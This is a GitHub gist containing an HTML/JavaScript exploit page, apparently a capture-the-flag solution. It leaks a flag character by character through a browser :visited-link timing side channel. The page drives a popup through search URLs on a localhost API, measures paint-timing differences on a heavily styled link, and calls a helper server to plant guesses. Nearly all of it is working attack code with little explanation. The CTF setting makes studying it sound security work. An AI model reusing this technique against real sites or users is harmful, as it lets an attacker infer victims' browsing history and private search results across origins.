Skip to content

Instantly share code, notes, and snippets.

@JorianWoltjer
Last active July 3, 2024 20:15
Show Gist options
  • Save JorianWoltjer/be36554d07a918ae3a811aa96ab74bd8 to your computer and use it in GitHub Desktop.
Save JorianWoltjer/be36554d07a918ae3a811aa96ab74bd8 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<style type="text/css">
/* Set it up so the target link element has different colors when pointing to a
visited vs unvisited URL. */
#target {
color: white;
background-color: white;
outline-color: white;
}
#target:visited {
color: #feffff;
background-color: #fffeff;
outline-color: #fffffe;
}
</style>
</head>
<body style="overflow: hidden">
<button id="button">Start</button>
<p><strong>Flag</strong>: <span id="flag"></span></p>
<script>
const ALPHABET = "{}e3a@4ri1o0t7ns25$lcudpmhg6bfywkvxzjq89_";
const TARGET = "http://localhost";
const HELPER = "http://localhost:5000";
let FLAG = "CTF{";
flag.textContent = FLAG;
let basisUrl; // Known-unvisited URL used during both test stages.
let targetLink;
let w;
function generateUnvisitedUrl() {
return "https://" + Math.random() + "/" + Date.now();
}
function isVisited(experiment, control) {
const ratio = experiment / control;
return ratio < 0.7;
}
function createURL(c) {
if (c === undefined) return undefined;
return TARGET + `/api/v1/submissions?field=provided&per_page=1&page=2&q=` + FLAG + c;
}
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const median = (arr) => {
const mid = Math.floor(arr.length / 2);
const nums = [...arr].sort((a, b) => a - b);
return arr.length % 2 !== 0 ? nums[mid] : (nums[mid - 1] + nums[mid]) / 2;
};
async function leakOnce(control) {
// Fill page 1 of submissions like 'CTF{1,CTF{2,CTF{3...'
const flags = ALPHABET.split("").map((c) => FLAG + c);
// Double comma separator to deal with '_' matching any character
await fetch(HELPER + "/submit?" + new URLSearchParams({ flag: flags.join(",,"), n: 1 }), {
mode: "no-cors",
});
// Visit and test URLs in parallel
const results = [];
for (let i = -1; i < ALPHABET.length; i++) {
const url = createURL(ALPHABET[i]);
const nextUrl = createURL(ALPHABET[i + 1]);
const c = ALPHABET[i];
// Prepare next URL by visiting it
if (nextUrl) w.location = nextUrl;
// Probe if the last URL was visited
if (url) {
const result = await leak(url);
results[url] = result;
if (isVisited(result, control)) {
return c;
}
}
}
}
button.addEventListener("click", async function () {
button.disabled = true;
w = window.open("", "", "width=1,height=1,resizable=no");
const urls = ALPHABET.split("").map((c) => TARGET + `/api/v1/submissions?field=provided&per_page=1&page=2&q=` + FLAG + c);
// Find control value to compare with
let time = performance.now();
let control = [];
for (let i = 0; i < 5; i++) {
control.push(await leak(generateUnvisitedUrl()));
}
control = median(control);
while (!FLAG.endsWith("}")) {
const c = await leakOnce(control);
w.location = "about:blank";
if (c === undefined) {
// Maybe wrong previous, retry it
FLAG = FLAG.slice(0, -1);
continue;
}
FLAG += c;
// Flag should not contain double underscores, if it does, likely wrong previous character
if (FLAG.endsWith("__")) {
FLAG = FLAG.slice(0, -3);
}
flag.textContent = FLAG;
await sleep(1000);
}
alert("Flag found: " + FLAG);
button.disabled = false;
});
async function leak(url) {
return new Promise((resolve, reject) => {
// Collect URLs.
basisUrl = generateUnvisitedUrl();
// Create the target link element and point it to the basis URL.
targetLink = document.createElement("a");
targetLink.id = "target";
targetLink.href = basisUrl;
// Fill the target link element with a bunch of "Chinese lorem ipsum"
// text to put some load on the browser's text renderer.
var garbageText =
"業雲多受片主。好些天事開後起主在小工過商友全行,打回化高全水點強的基聯形要北壓好接畫。動我可存吸正分日通想……家覺生傳利最製面傳師命實們候企南是,多或進學落究,拿活直能你長的們是我和除四遠大因自過學於更,夠根親論運不我音死這中,生球經時於作,態了北業調經害難制明人人一經口子門眼,還年母語灣畫給的我坐多球:了這制響第不英才產聯是灣巴;為防平早,一廣女濟大運,的者黑來人北計記名書主之經決地皮天是有半!生請子記實的業外,出發向求:收息無:當法放老想?發景!".repeat(
28
);
targetLink.appendChild(document.createTextNode(garbageText));
// Set up some complicated CSS effects on the target link element.
targetLink.style.display = "block";
targetLink.style.width = "5px";
targetLink.style.fontSize = "2px";
targetLink.style.outlineWidth = "24px";
targetLink.style.textAlign = "center";
targetLink.style.filter = "contrast(200%) drop-shadow(16px 16px 10px #fefefe) saturate(200%)";
targetLink.style.textShadow = "16px 16px 10px #fefffe";
targetLink.style.transform = "perspective(100px) rotateY(37deg)";
document.body.appendChild(targetLink);
// Allow the DOM to "settle down" a bit after those changes before we
// start our test runs.
requestAnimationFrame(function () {
requestAnimationFrame(async function () {
const result = await runTestStage(url);
console.log(url, result);
resolve(result);
// cleanup
targetLink.remove();
});
});
});
}
async function runTestStage(testUrl, resolve) {
startCountingTicks();
startOscillatingHref(testUrl);
await sleep(500);
stopOscillatingHref();
return stopCountingTicks();
}
// Concurrently oscillate the target link's href between the known-unvisited
// basis URL and a given test URL, which could be either of the control or
// experiment URLs.
var oscillateInterval;
var isPointingToBasisUrl = true;
function startOscillatingHref(testUrl) {
oscillateInterval = setInterval(function () {
targetLink.href = isPointingToBasisUrl ? testUrl : basisUrl;
isPointingToBasisUrl = !isPointingToBasisUrl;
}, 0);
}
function stopOscillatingHref() {
clearInterval(oscillateInterval);
targetLink.href = basisUrl;
isPointingToBasisUrl = true;
}
// Concurrently count the number of times we complete a
// requestAnimationFrame callback, measuring paint performance over the test
// period.
var tickCount = 0;
var tickRequestId;
function startCountingTicks() {
tickRequestId = requestAnimationFrame(function () {
++tickCount;
startCountingTicks();
});
}
function stopCountingTicks() {
cancelAnimationFrame(tickRequestId);
var oldTickCount = tickCount;
tickCount = 0;
return oldTickCount;
}
const closeChecker = setInterval(() => {
if (w && w.closed) {
w = undefined;
alert("Do not close the window!");
location.reload();
}
}, 1000);
window.onbeforeunload = () => {
if (w) w.close();
};
</script>
</body>
</html>
# See https://gist.github.com/JorianWoltjer/295ac5d8e7595a073116eba6f091506e#file-helper-py
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment